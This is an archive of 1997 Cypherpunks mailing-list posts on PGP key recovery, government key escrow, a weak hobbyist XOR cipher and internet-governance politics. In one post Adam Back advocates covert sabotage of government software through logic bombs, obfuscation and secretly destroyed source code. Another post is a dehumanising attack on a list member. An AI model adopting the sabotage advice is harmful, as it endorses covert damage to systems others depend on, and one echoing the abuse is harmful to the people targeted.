To: tcmay@got.net
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <v03102803b069f989d978@[207.167.93.63]>
Message-ID: <199710150647.HAA11450@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> I'll try a different way of making my points...
> 
> At 9:12 PM -0700 10/14/97, Lucky Green wrote:
> 
> >I can't help but see a difference between enforcing to encrypt to a
> >default key and storing the user's key outright. IMHO, the former entails
> >less potential for abuse.
> 
> All other things being equal, maybe the former is slightly less intrusive
> than the latter. But maybe not even this, as the two give the same results.
> After all, what's the real difference between "all mail, incoming and
> outgoing, must also be encrypted to a CMR key" and "you must deposit a copy
> of your key with us"?

CMR keys are the root of all evil in pgp5.5.  Without them almost any
permutation of recovery care to construct would be less useful to the
GAKkers, for all the organisational, and inconvenience reasons Tim
describes.  Governments have problems handling complexity.  

So make their job complex.  If you were one of the people writing the
IRS tax software back in the 60s, and you were in deep cover, a
proto-cypherpunk, and were bright enough to see the future
possibilites you would have done all you could to fuck up the IRS
system.  You would have obfuscated the code.  You would have put logic
bombs in it.  You would have destroyed the source code
surreptisiously.  (Destroying source code has analogies to destroying
keys at earliest opportunity, you are destroying something which your
enemy needs).

Any bets as to if any of this actually happened on purpose?  I reckon
so.

So, do you all reckon we can make task of fielding GAK impossibly
complex for such a big disorganised government?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Wed, 15 Oct 1997 21:15:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Stronghold
Message-ID: <3.0.16.19971014090056.5787e0a8@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:35 PM 10/12/97 -0400,John Young wrote:

>Dimitri, Allah bless his carcass, is a learned and deft provocateur.

Wrong!

Vulii is a KGB loving, decrepid, diseased ridden  sack of Russian puss and
excrement.
His only reason for existence is to spread lies, disinformation, and filth.
He shouldn't have  the protection of the U.S. Constitution and the
toleration of this list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@sydney.healey.com.au>
Date: Wed, 15 Oct 1997 07:29:50 +0800
To: semprini@theschool.com
Subject: Re: Encyrption Program
In-Reply-To: <199710141958.MAA22050@k2.brigadoon.com>
Message-ID: <Pine.LNX.3.93.971015085727.21930A-100000@sydney.healey.com.au>
MIME-Version: 1.0
Content-Type: text/plain



> random cube and a random location with that cube. The resulting 
> "random" character is then XORed with the appropriate character of 
> the plaintext. If someone can prove to me that this method is stupid 

The way I understand this is that only one character is chosen and this
same character is XORed with all plaintext for that session. Therefore,
given that there are 8 bits in an unsigned char (which I am assuming you
are using based on your choice of the word "character"), meaning that 
there are only 2^8 (256) possible 8 bit characters, hence only 256
different possible outcomes. Such a short keyspace is linearly searchable
in a very small amount of time, making the encryption scheme particularly
weak.

If I am writing this based on a false understanding of your scheme, would
you mind clarifying exactly the points in which I am in error, so that I
might analyse with that information taken into account.

Yours Sincerely,

Benjamin Grosman






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Wed, 15 Oct 1997 17:32:05 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Security flaw in PGPverify of INN (fwd)
In-Reply-To: <Pine.SUN.3.96.971014141138.3010F-100000@beast.brainlink.com>
Message-ID: <slrn64927f.ts.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Ray Arachelian quoted:
>So please don't believe this "security flaw". pgpverify is working
>just fine and if the responsible person will use PGP correctly, there
>is no problem at all.

Please don't believe this "security flaw". Everything is working just fine
and if all users will use our software correctly, there is no problem at all.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Wed, 15 Oct 1997 21:52:16 +0800
To: cypherpunks@Algebra.COM
Subject: Bill Gates and Gun laws
In-Reply-To: <199710141949.NAA06963@broadway.sfn.saskatoon.sk.ca>
Message-ID: <199710151352.JAA13494@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



> 
> Cdn-Firearms Digest     Tuesday, October 14 1997     Volume 02 : Number 031
> cdn-firearms-digest@sfn.saskatoon.sk.ca
[mega-snip]
> ------------------------------
> 
> Date: Tue, 14 Oct 1997 12:43:32 -0600
> From: Dave Hammond <DHammond@novatel.ca>
> Subject: FW: USA - Bill Gates wants your guns
> 
> Don't like Bill Gates or his octopus like grip on the software market? Been 
> looking for a reason to give Microsoft the finger and shop elsewhere? Well, 
> here it is.........
> 
> 
> by HUNTER T. GEORGE
> OLYMPIA, Wash. (AP) - A gun-control measure on the Washington ballot has
> turned into a Western shootout in this state, where nearly one out of
> five residents owns a pistol.
> In this gun battle, the two sides are armed with cash and
> soundbites.
> On one side is the state medical association, law enforcement
> leaders, religious groups, the state's largest teachers union and
> Microsoft chairman Bill Gates, among other Seattle-area business
> leaders.
> They back the measure, which would require handgun owners to
> pass an exam or take an eight-hour safety course to get a license.
> It would also require trigger locks on all handguns sold or
> transferred in the state.
> On the other side are gun rights organizations, like the
> National Rifle Association, and police groups, which say the
> measure is an invasion of privacy, an infringement of the right to
> bear arms and a smokescreen for a hidden agenda: registration and
> eventual confiscation of handguns.
> ``What they're doing is basically using children and hiding
> behind a phony handgun safety ballot title,'' said Alan Gottlieb,
> chairman of the Bellevue-based Citizens Committee for the Right to
> Keep and Bear Arms. ``These people don't want education. They want
> to make it very hard for people to buy a handgun or use one, and
> that's exactly what this initiative does.''
> If voters OK the measure on the Nov. 4 ballot, Washington will pass some
> of the strictest gun laws in the nation.
> Only a dozen states require some sort of handgun permit or
> license, and just two - Massachusetts and Connecticut - have passed
> laws requiring trigger locks, but only at the retail level. Washington's
> would require them on all guns sold, even person to person.
> Nine of the nation's largest gun makers announced Thursday that
> they would provide childproof locks with all of their new handguns
> - - about 80 percent of those sold in the United States. President
> Clinton has pushed for legislation requiring the locks, but House
> and Senate committees rejected the provision earlier this year.
> No public polls on the measure have been released so far, but
> some of the richest people in the state back it: Gates gave
> $35,000; his father, lawyer William H. Gates, donated $150,000, and
> philanthropist Harriet Stimson Bullitt contributed $50,000.
> The safety requirements, they say, would be like taking a
> driver's test before getting a license. The goal is to reduce
> accidental shootings, particularly those involving children who find
> loaded guns in the home.
> A study in the Journal of the American Medical Association found
> that 30 people 19 or younger died in unintentional shootings in
> Washington state between 1991 and 1995. And 211 others were
> hospitalized for gunshot wounds.
> `I'm personally unwilling to tolerate that kind of carnage in
> our state,'' said Dr. Roy Farrell, campaign spokesman and a gun
> owner. ``Terrible tragedies happen that shouldn't happen if the gun
> was stored properly.''
> 
> ------------------------------
[snip]
>  Mailing List Commands:        majordomo@sfn.saskatoon.sk.ca





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Bromage <bromage@cs.mu.oz.au>
Date: Wed, 15 Oct 1997 08:09:04 +0800
To: zooko@xs4all.nl (Zooko Journeyman)
Subject: Re: commercial data recovery
In-Reply-To: <199710141053.MAA03610@xs1.xs4all.nl>
Message-ID: <199710142358.JAA02842@mundook.cs.mu.OZ.AU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

G'day all.

Zooko Journeyman wrote:

> I wonder if it is too much early-days to start talking about
> advanced protocols e.g. secret-splitting in IETF-Open-PGP?  

One list member has encouraged me to write an internet-draft for a key
quorum system, so I am.  The trouble is that my proposed implementation
needs some info that isn't in the current IETF draft (the format of the
"string to key" object).

Is it actually documented anywhere that we can access?

Cheers,
Andrew Bromage

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Wed, 15 Oct 1997 16:40:12 +0800
To: cypherpunks@cyberpass.net
Subject: Equal rights for receivers
Message-ID: <199710150815.KAA25357@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Remind me again:

Why was it OK when the SENDER could choose to encrypt to an additional
key, but it's a threat to the free world if the RECEIVER is allowed to
request the same thing?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frank (Giff) Gifford" <giff@va.pubnix.com>
Date: Wed, 15 Oct 1997 23:26:46 +0800
To: cypherpunks@toad.com
Subject: Re: Encryption Program (fwd)
Message-ID: <Pine.BSI.3.96.971015110331.21658C-100000@crossbow.va.pubnix.com>
MIME-Version: 1.0
Content-Type: text/plain



(I had only sent this to the 'other' mailing list and not here - my
appologies to those who get this for a second time.  -Giff)


On Mon, 13 Oct 1997 semprini@theschool.com wrote:

> Hello. I just posted an encryption program on the web. It uses a key-
> generated pseudorandom stream of characters that get XORed with the 
> plaintext to produce the cyphertext. For decryption, the same stream 
> is run against the cyphertext. (Such is the nature of the XOR 
> operation.) You can download the program at:
> 
> http://www.brigadoon.com/~semprini/3dmx
> 
> I am interested in other people's views, comments, questions, etc. on 
> this program. Any questions, comments, etc. can be sent to me at 
> "semprini@theschool.com".
> 
> Thanks,
> 
> Dylan
> 

I have downloaded the program and read over it's contents (the .frm
files).  It's Visual Basic, which I am familiar with.

>From my reading of the code (assuming that the code I read was, in fact,
the code which does the encrypting) - the key supplied is not used - or at
least not directly.

The user apparantly supplies three keys which are padded with 'random'
stuff each to get them to 32 bytes in length.  Then these are placed into
a special array where each bit gets its own position and various scrambing
is done 'randomly' on the data.  This is dependent on the key values and
what bits are on or off at a given time.  During this process, the 'seed'
for the RNG is reset to some unknown value (I believe the effective range
for the seed is 0..65535) the entire time the bits are processed.

Then, amazingly, those bits are not used again.

>From the RNG, a 4 dimensional array (called a 'cube') is created with
elements 0..15 for each of the four sides.  The contents are filled from
the RNG with a value 0..255.

Then during the encryption process of a file, the program will choose four
random numbers 0..15 to use as indexes into the cube.  The number found
there is XORed with the datafile byte to get the encrypted/decrypted
answer.

*whew*  Hope you followed that, I'm trying to be complete and concise.

The upshot seems to be (and I haven't written any code to try this out
yet):  This method fails to the chosen plaintext attack where I ask the
opponent to encrypt a large file of (say) all zero bytes.  The encrypted
result I should then be able to XOR directly against the target file to
get the original contents.

A less efficient but more satisfing method is to simply try all seed
values for the RNG.  Even if I don't know the RNG process, if the seed
values are only 0..65535 (as I believe they are), trying all possible
decryptions by this manner will give me the correct answer.  If I know
something about the file (i.e. being English text) I should have no
problem finding the right answer programmatically.

If I am incorrect about my reading of the program or its operation, please
let me know.

-Giff






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cynthia Brown <cynthb@sonetis.com>
Date: Wed, 15 Oct 1997 23:32:05 +0800
To: Cypherpunks@Algebra.COM
Subject: Puerile Forgery (was: Re: Cole Harbor Students)
In-Reply-To: <343E4B61.6FE8@bone_dis.com>
Message-ID: <Pine.BSD/.3.91.971015112343.21012C-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 10 Oct 1997, someone from sk.sympatico.ca wrote:

> Boy, do I feel like an idiot.

Just in case some people don't read headers, that message DID NOT come
from me. 

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Brown <I.Brown@cs.ucl.ac.uk>
Date: Wed, 15 Oct 1997 19:14:42 +0800
To: Will Price <wprice@pgp.com>
Subject: Re: proposal: commercial data recovery
In-Reply-To: <v04001b0eb06a3d206797@[205.180.137.244]>
Message-ID: <3444A29F.A843CE5A@cs.ucl.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

> The design you have been espousing for the last week or so in your many
> messages takes the power out of the hands of the sender and encourages
> automated violations of the sender's privacy by the recipient (perhaps even
> unbeknownst to the recipient).

Whatever you do, the recipient has the plaintext (has the argument
really descended to this level?) As Ian Grigg has pointed out, there are
*no* technical means a message sender can employ to stop the recipient
'violating their privacy'. You are splitting hairs again. As Adam has
repeatedly pointed out, there is no problem with flagging on a key that
the message may be read by someone else. This is actually more honest
than a scheme where 'this message can be read by key X' flags are used;
once the recipients have the plaintext, they can give it to whoever they
like to read. Adam's scheme does not put in place an infrastructure
which encourages automated snooping. It leaves it entirely up to
separate organisations as to whether they implement data recovery. Have
you *read* Bruce Schneier's post on how quickly GAK proponents in
Washington have picked up on this? Are you proud to have provided an
argument for S909? Are you happy to have the NSA using you as an
argument that GAK works?!!!

> The NSA states that key recovery is doable and will not jeopardize
> national security. And there is an existence proof for key recovery
> software in the new PGP release.

Adam's design does NOT "encourage automated violations of the sender's
privacy" - that I would reserve for PGP 5.5. You split hairs yet again
by claiming PGP 5.5 is "a simple system... wherein all recipients are
under the sender's control". As Adam has pointed out in his "many
posts", it's not much use letting the sender remove the extra recipient
if they know the message will then simply be bounced. Adam's request for
you to remove these fields make the system simpler. His communications
key idea adds additional security, but that is the only reason for the
increased complexity - an *additional* security feature.

This argument is exhausting. You may not give two hoots what I, or Adam
Back, or any number of people say. But could you not at least listen to
Schneier, who you must admit is quite an authority in this field? Even
if you *were* right, you have not managed to convince him. Do you really
think it's going to be good for PGP Inc if he recommends that clients
and anyone else who asks should not use PGP Inc products?

Ian.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Wed, 15 Oct 1997 10:46:06 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: the case for separate comms keys
Message-ID: <87688287402369@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain




Death rays from Mars made Adam Back <aba@dcs.ex.ac.uk> write:
 
>You can also acheive the same flexibility with an extra indirection with
>symmetric storage keys (optionally held in escrow).  In fact I think this is
>what later versions of Peter Gutmann's SFS do.  The reason he uses for this is
>that it allows you to change your passphrase without re-encrypting the whole
>disk, because the _actual_ disk encryption key is encrypted itself with the
>hash of your passphrase, rather than using the hash of the passphrase directly
>as the key.
 
There are also a few other reasons for doing this, and I've extended the idea
used in SFS for use with my cryptlib encryption toolkit.  Instead of encrypting
just the key, you also encrypt the algorithm details, ie:
 
    E          ( algorithm, algorithmInfo, key )
     passphrase
 
    E                             ( data )               
     algorithm, algorithmInfo, key
 
This makes the job of an attacker somewhat harder because even if they have
some means of performing a reasonable attack on the second encryption step,
they won't know exactly what it is, so even if it only has a 40-bit key they
might need to search half a dozen algorithms before finding the right one.
This makes it a lot harder to just brute-force everything going past in the
hope of finding something useful.  This is especially entertaining for
algorithms like RC5 and Safer, where you can produce dozens of variations by
playing with algorithm parameters, in effect adding extra bits to the key
length.
 
As Adam mentions, you can also escrow[0] the second key (which SFS does using a
threshold scheme with the parameters controlled by the user).  In this way the
user can change their password without destroying the ability of the escrow to
access the data.
 
Finally, using the session-key mechanism means you never encrypt two lots of
data using the same key, and means you can encrypt a single message for
multiple recipients just like the public-key equivalent.
 
Peter.
 
[0] This is "escrow" used in the true sense, not the GAK euphemism.  It's
    completely under the control of the user, it's optional, and it's intended
    for recovery of stored data when you forget the passphrase.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 15 Oct 1997 22:11:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Telstra Australia admits it lied about net
Message-ID: <199710151403.QAA28893@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Of course any stats put forward by Telstra are probably a complete 
fabrication. Telstra's arrogance exists due to its century long
tradition of government backed monopoly resulting in a drain on
Australia's resources and misallocation of capital on such a scale
it defies imagination. It is par for the course for Telstra to now be 
seeking funding from US taxpayers/consumers. (PS. I heard the same 
figures you quote below being bandied about here about a week or so 
ago.)

Bill Stewart writes:
> According to an article in today's Mercury News or SFExaminer,
> Telstra has also decided that 70% of the bits on US-Australia
> Internet connections are now going from Australia to the US
> rather than the earlier ~100% US->Australia direction -
> so it wants a major reevaluation of who pays for the
> trunks connecting the Internets in the two countries
> (currently Telstra pays most of the costs.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 15 Oct 1997 22:54:27 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199710151440.QAA03381@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Brief Background: In the last two months Australia (at this time under
a so called conservative Liberal Government) has re-affirmed its
anti-market controlled economy approach to economics with the
establishment of an IT bureaucracy, forcing ISP's to 'join' the TIO
and fund its operations, establishing the framework for a possible
cencorship regime on the internet, proposed legislation for key
escrow wrt VPN's and pursuing its favoured entrail reading approach to
economics by yet again believing it can 'pick winners' in the market
and allocate resources more efficiently than the market can; an
approach any socialist or totalitarian would be proud to support.

There is very little organised effort to oppose these measures. I
expect that people elsewhere will soon be able to look to Australia as
a testing ground for all the worst case scenarios long discussed on
cypherpunks.

Now the State has announced it's intention to forcefully mandate
authentication on the internet by imposing yet another taxpayer funded
bureaucracy and to hell with the market solutions already provided at
no cost to citizens. Shame on you Australia.

(Are politicians genetically selected on their ability to make
precisely the wrong decision in any given circumstance? Actually wrt
authentication there is no problem to solve. Doing nothing was the
best thing to do. Of course what this is really about is limiting
entry to markets, corruption and fraud on the public.)

http://www.theage.com.au/daily/971015/news/news7.html
Push to tie up loose ends on Internet

                               By GERVASE GREENE, 

                               Canberra 

Online commerce may exceed $6 billion by 2001, but it will be of
little use if customers and businesses cannot identify each other on
the Net.

Federal Cabinet yesterday approved steps to create a national system
for online authentication.

The Government will establish a body to oversee all authentication
systems.  The Communications Minister, Senator Richard Alston, said
this would significantly boost electronic commerce.

"With predictions that electronic commerce in Australia will increase
more than four-fold to $6.3 billion by 2001, the Government is well
aware that development of trust and confidence by businesses and
consumers in the reliability and security of online transactions will
be critical to the development of the information economy," he said.

A group of industry and government experts will report by March next
year on possible functions and powers of the watchdog. This will
include determining the technical standards required before an
identification system obtains certification. Several corporations have
marketed safety systems to exploit concern about the safety of online
transactions.

Sophisticated encryption will also be necessary before certification
is granted.

Civil liberty groups have called for anonymous transactions to be
possible, while law enforcement bodies have sought access to records
and transactions that would amount to an effective exemption from
privacy obligations.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Thu, 16 Oct 1997 00:10:00 +0800
To: Lutz Donnerhacke <lutz@taranis.iks-jena.de>
Subject: Re: Security flaw in PGPverify of INN (fwd)
In-Reply-To: <Pine.SUN.3.96.971014141138.3010F-100000@beast.brainlink.com>
Message-ID: <3444E254.25F0@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Lutz Donnerhacke wrote:
> * Ray Arachelian quoted:
> >So please don't believe this "security flaw". pgpverify is working
> >just fine and if the responsible person will use PGP correctly, there
> >is no problem at all.
 
> Please don't believe this "security flaw". Everything is working just fine
> and if all users will use our software correctly, there is no problem at all.

I am writing:
Please don't believe this "security flaw". democracy is working
just fine and if the responsible person will use democracy correctly, 
there is no problem at all.

Tmongruther
[Government Email Montior National Security Approval # CP709-PC]
[Inspected by # 13]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 16 Oct 1997 00:11:52 +0800
To: cypherpunks@cyberpass.net
Subject: Clinton - Gore selling out Internet to ITU to Preserve Key EscrowEncryption?
Message-ID: <v03110759b06a892712de@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Wed, 15 Oct 1997 09:01:54 -0400
Reply-To: cook@netaxs.com
Originator: com-priv@lists.psi.com
Sender: com-priv@lists.psi.com
Precedence: bulk
From: Gordon Cook <cook@netaxs.com>
To: Multiple recipients of list <com-priv@lists.psi.com>
Subject: Clinton - Gore selling out Internet to ITU to Preserve Key Escrow
Encryption?
X-Comment:  Commercialization and Privatization of the Internet

A COOK Report Editorial

Exceedingly strange events are underway inside the Beltway. By January of
this year a coalition of industry figures had decided that IAHC was a
cabal of internet old timers out to create a clique that could impose a
DNS "socialist" solution. This solution, they claimed, would ensure the
failure of any private enterprise led initiatives to open a true free
market in DNS services. They convinced the Clinton Administration to
intervene to stop the cabal from what they also alleged was its threat to
American sovereignty. Namely that, in involving the ITU as the repository
of its MOU, it sought to deliver control of the Internet into the hands of
a stodgy bureaucracy which was in fact an enemy of the net.

Fast forward through eight months of Clinton Administration meddling and
we have some rather shocking results beginning to emerge. The Inter Agency
Working Group on DNS issues is drafting a report that says IAHC was right
after all and that just a few tweaks are needed to open up the process.
The draft shows no understanding of the DNS issues themselves and comes up
with no clear alternatives to the much scorned WIPO role in DNS dispute
resolution. These matters are now coming out into the open. In an article
yesterday in Communications Week International, Ken Cukier writes: "They
[the IAHC] laid a decent foundation and [we] need to modify the plan to
build on that foundation," said Ira Magaziner, a senior adviser on
Internet matters to President Bill Clinton. The IAHC seems "open and
flexible" to the idea of changing portions of the plan based on increased
Internet community input, Magaziner added." The article goes on to explain
how the Administration is embracing the hated IAHC process that its
intervention was initially designed to halt.

But we remind our readers that another concern that led to government
intervention was not just anger over IAHC but also fear of the ITU. But no
problem, the fear of the ITU seems to be no more. We quote below from a
just published interview with Pekka Tarjanne, the ITU Secretary General
from Finland. While the IAHC initially promised that the only role of the
ITU would be to act as repository for signatories to the MoU on DNS, Pekka
Tarjanne now foresees the ITU as the most likely repository for all
internet governance functions - including getting into issues of content.
Brian Kahin and Mike Nelson have turned the enemy into the friend. Why?
Such are the wondrous ways of life in DC. NTIA has been given the green
light to shape internet policy within the US. To hell with the Congress,
the FCC and the NSF.

[Speaking of collateral congressional problems, we'd certainly like to see
someone sue NSI to prevent the return of the 23 million from the
infratsructure fund to NSF for NGI use.]

We expressed our dismay about this last week in an open letter to NTIA
head Larry Irving. We must have struck some raw nerves, for when Dave
Farber posted our original complaint to Irving on his IP list, we received
a few days later the following delightful reply (posted by Dave again to
his list.)

Date: Tue, 14 Oct 1997 11:14:52 -0400
From: "Gregory C. Simon" <simon@podesta.com>

Cook: "Gregory Simon." Hmmm. Domestic affairs advisor to Al Gore? On the
wrong side of privacy issues? Not much beloved by EPIC. On the wrong side
of information issues. Point man for the administration a year ago at the
WIPO meetings in Geneva, where the justly defeated treaty would have given
publishers copy rights over virtually everything. See www.cic.org. Seems
that Greg has left the White House and is working for the lobbying firm
run by John Podesta's brother? Meanwhile John Podesta continues to work on
the inside as one of President Clinton's most intimate advisors. In charge
of Bill's daily schedule we are told. Greg seems to be offended that I am
not a cheer leader for his ex-employer's policies.

Simon: Dear All: The open letter from Gordon Cook to Larry Irving is
profoundly misguided and uninformed. The basic premise is ludicrous --
that Henry Geller somehow set the parameters of NTIA's authority by his
personal views.

Cook: No. Wrong the premise was that Geller as first head of NTIA was
fully in favor of the conditions agreed upon for its founding. That it
could be an advocate for the desires of the President in telecom matters
but that it would NOT make and originate policy.

Simon: NTIA is the voice of the Administration on many matters but it is
also part of the brain. During my tenure in the White House with Vice
President Gore, we relied heavily on NTIA's institutional knowledge and
analytical skills in formulating and executing policy decisions.

Cook: In other words with NTIA as the brain, this administration, uses it
to make policy.

Simon: Larry Irving in particular has been astoundingly and unerringly
prescient in identifying policy areas that will rise to the top of the
public policy debate. His views have often carried the day with the
President and Vice President.

Cook: NTIA making telecom policy again contrary to the views of the
original founders. I haven't talked to Elliot Maxwell at FCC, but Greg,
you might like to give him a call. I am told that he shares these same
views. And I am told this by someone who participated in the policy making
at NTIA's founding with whom I have just had a conversation tonight.

Simon: In my dealings with NTIA on the DNS issues I have detected none of
the prejudice Mr. Cook asserts. Reading symbolism into such simple
gestures as granting additional comment time and giving great weight to
every bit of gossip emanating from a free give and take discussion within
the government smacks of clinical paranoia.

Cook: No Greg. It's having good sources who are so disgusted by the lack
of cluefulness on the part of the administrations policy makers that they
talk. I knew this was coming down the pike. Cukier's article published
yesterday confirms it.

Simon: Finally, is it necessary to wave the bloody shirt of encryption
into every policy debate no matter how remote? Must everything be related
to a government conspiracy to read your mail?

Cook: Given the slipperiness of this Administration, I stand by what I
said on this issue. If the minions of the administration, of which you are
clearly one, can strip internet policy making away from NSF and Congress,
then they can march ahead with their intent to give Freeh and Ft George
Meade the keys to the private communications of every American citizen.
And since Kahin and Nelson have decided to deliver the Internet via IAHC
to the ITU after all, we could all wake up one day and find the keys to
our most private correspondence turned over to an international
organization called the ITU, which uses its treaty power like the World
Trade Organization to overrule the sovereign power of the US Congress. The
shame is that Ira Magaziner doesn't yet realize what Kahin and Nelson are
doing to him. Note that the ITU also reflects the views of many European
governments are far less willing than our own to even give lip service to
the concerpt of a free Internet.

Cook: Before you reply that I have lost my mind, Greg read the cogent
paragraphs of the interview with ITU Secretary General Tarjanne below
where the good man, sensing victory, says that he foresees the ITU playing
a major role in Internet governance and foresees the possibility that the
ITU may get involved not only in conduit but content as well. Someone
exceedingly well familiar with ITU policy making noted in another
conversation tonight that the ITU constitution has long allowed controls
over encryption or in other instances has explicitly forbidden encryption
and that the ITU has the tools for coordinating such restrictions
internationally.

Simon: Surely there must be a more honest way to disagree than to impugn
everybody's motives all the time. And as for being cut off at the knees, I
personally repudiate Mr. Cook for bringing that level of vileness and
personal animus into the debate on a policy issue. Larry Irving has
devoted his professional career to public service, he deserves respect,
not threats.

Cook: Rather than turn my accusations into a personal attack, why you tell
us what the real policy of the administration is on these matters, if it
is indeed other than what I allege?

Cook: No I just put together what I hear from highly credible and
distinguished sources who for their own reasonss cannot go on record.and
reflect that against my belief that the government must never try to take
control of the internet. If it means saying that the high and mighty have
no clothes, so be it.  No matter. The cozy dance continues. Don Heath has
announced that next INET conference will be held in Geneva at ITU
headquarters.

Cook: Now it also looks like we owe Charles Pickering, the Republican
Chairman of the House Science Subcommittee on Basic Research, a debt of
gratitude for the hearings of two weeks ago. Problem is the double dealing
alleged there is not going on with IAHC. Sernovitz was wrong to accuse Jon
Postel of wanting to ship US developed assets to Geneva. It would seem to
be the White House that is the double dealer and the one ready to give
American assets to the ITU.

Sincerely,

Greg Simon

(In the interest of full disclosure, Mr. Simon, President and CEO of Simon
Strategies is a consultant to SAIC, the parent company of Network
Solutions.)

Cook: In the interests of full disclosure let it be said that we drank at
the federal till for 18 months working for the US Congress Office of
Technology Assessment and  driving from NJ to a rented bedroom on Capitol
Hill every week. Since March 1, 1992 we have published the staunchly
independent COOK Report on Internet from our front porch making our living
outside the beltway and fully independent of the interests that Mr. Simon
represents.

We must say we were amused at the Bellcore and NSI private mail that Greg
attached. Clearly we touched a raw nerve. :-)


Here with some relevant quotes from the Cukier article (at
http://www.emap.com/cwi/192/192news5.html) and the Tarjanne interview.

"The U.S. Department of Commerce, backed by a White House group studying
the Net's vital domain name system, is set to accept a modified version
of the plan for competitive domain name registrars devised by the
International Ad Hoc Committee (IAHC), which comprises Internet
organizations and United Nations-affiliate agencies.

"They [the IAHC] laid a decent foundation and need to modify the plan
to build on that foundation," said Ira Magaziner, a senior adviser on
Internet matters to President Bill Clinton. The IAHC seems "open and
flexible" to the idea of changing portions of the plan based on
increased Internet community input, Magaziner added.

The move will lay to rest months of uncertainty over the United States'
role in freeing Internet institutions from government control.

Significantly, the Department of Commerce will require the current
monopoly registrar of the popular .com domain, Network Solutions Inc.,
to release information pertaining to the system's operation, say
Clinton administration officials.

However, officials caution that the department's approach is not
universally supported in the federal government, and the internal
tensions may set the policy back.

Additionally, the IAHC's proposals that Geneva-based U.N. agencies be
involved in domain name governance was attacked by Charles Pickering,
the republican chairman of the House Science Subcommittee on Basic
Research, which sponsored the domain name system hearings.

Jon Postel, the head of the Internet Assigned Numbers Authority (IANA),
the Net's central authority on certain standards (CWI, 30 June),
remains cautious, however. "I just don't know," he said when asked
whether the U.S. government will promote Internet self-governance.

But Postel added: "Discussions have been fairly open in the
administration about endorsing the [Internet] community's plan," as
represented by the IAHC.

The Trajanne interview is found at
http://www.teledotcom.com/1097/features/tdc1097interview.html

The ITU's involvement with the Internet may not
            end with the DNS. In fact, it may just begin
            there, especially if the ITU's DNS solution
            holds sway. In a recent interview, Tarjanne not
            only defended the DNS accord but also predicted
            a growing role for the ITU in Internet
            governance, at the invitation of the world's
            government and industry leaders.

The ITU could eventually become involved
            in such content-oriented issues as pornography
            on the Internet, Tarjanne says. "We are not
            there yet, and I don't know if we will get
            there, but there is a clear possibility," he
            said. Some acknowledgment of the ITU's
            expanding role on the Internet could be written
            into the U.N. agency's bylaws when the ITU
            holds its quadrennial plenipotentiary
            conference--a kind of constitutional convention
            for the organization--in Minneapolis next
            October, according to Tarjanne.

Still, the Internet issue is pivotal for the
            ITU's future; without a role in the Internet,
            the ITU would become less and less relevant to
            global communications. Tarjanne is moving
            quickly to secure the ITU's future before his
            tenure as secretary general ends in January
            1999.

Tarjanne:  Traditionally, when we've talked about
            standardization in the ITU family it has been
            mainly technical standardization. But more and
            more we are involved in things that are called
            standardization but that have to do with, for
            instance, issues related to the generic
            top-level domain names or numbering
            systems--country codes are almost becoming
            viewed as a limited natural resource. As it
            relates to the Internet, we are facing a very
            interesting situation where questions concerned
            with conduit and content are being blurred.
            Basically, we have always dealt with conduit
            and have had nothing to do with content. But
            the situation is not that simple anymore. We,
            the conduit people, have to know what is
            happening on the content side, and vice versa,
            and there are questions that are very much
            interlinked.


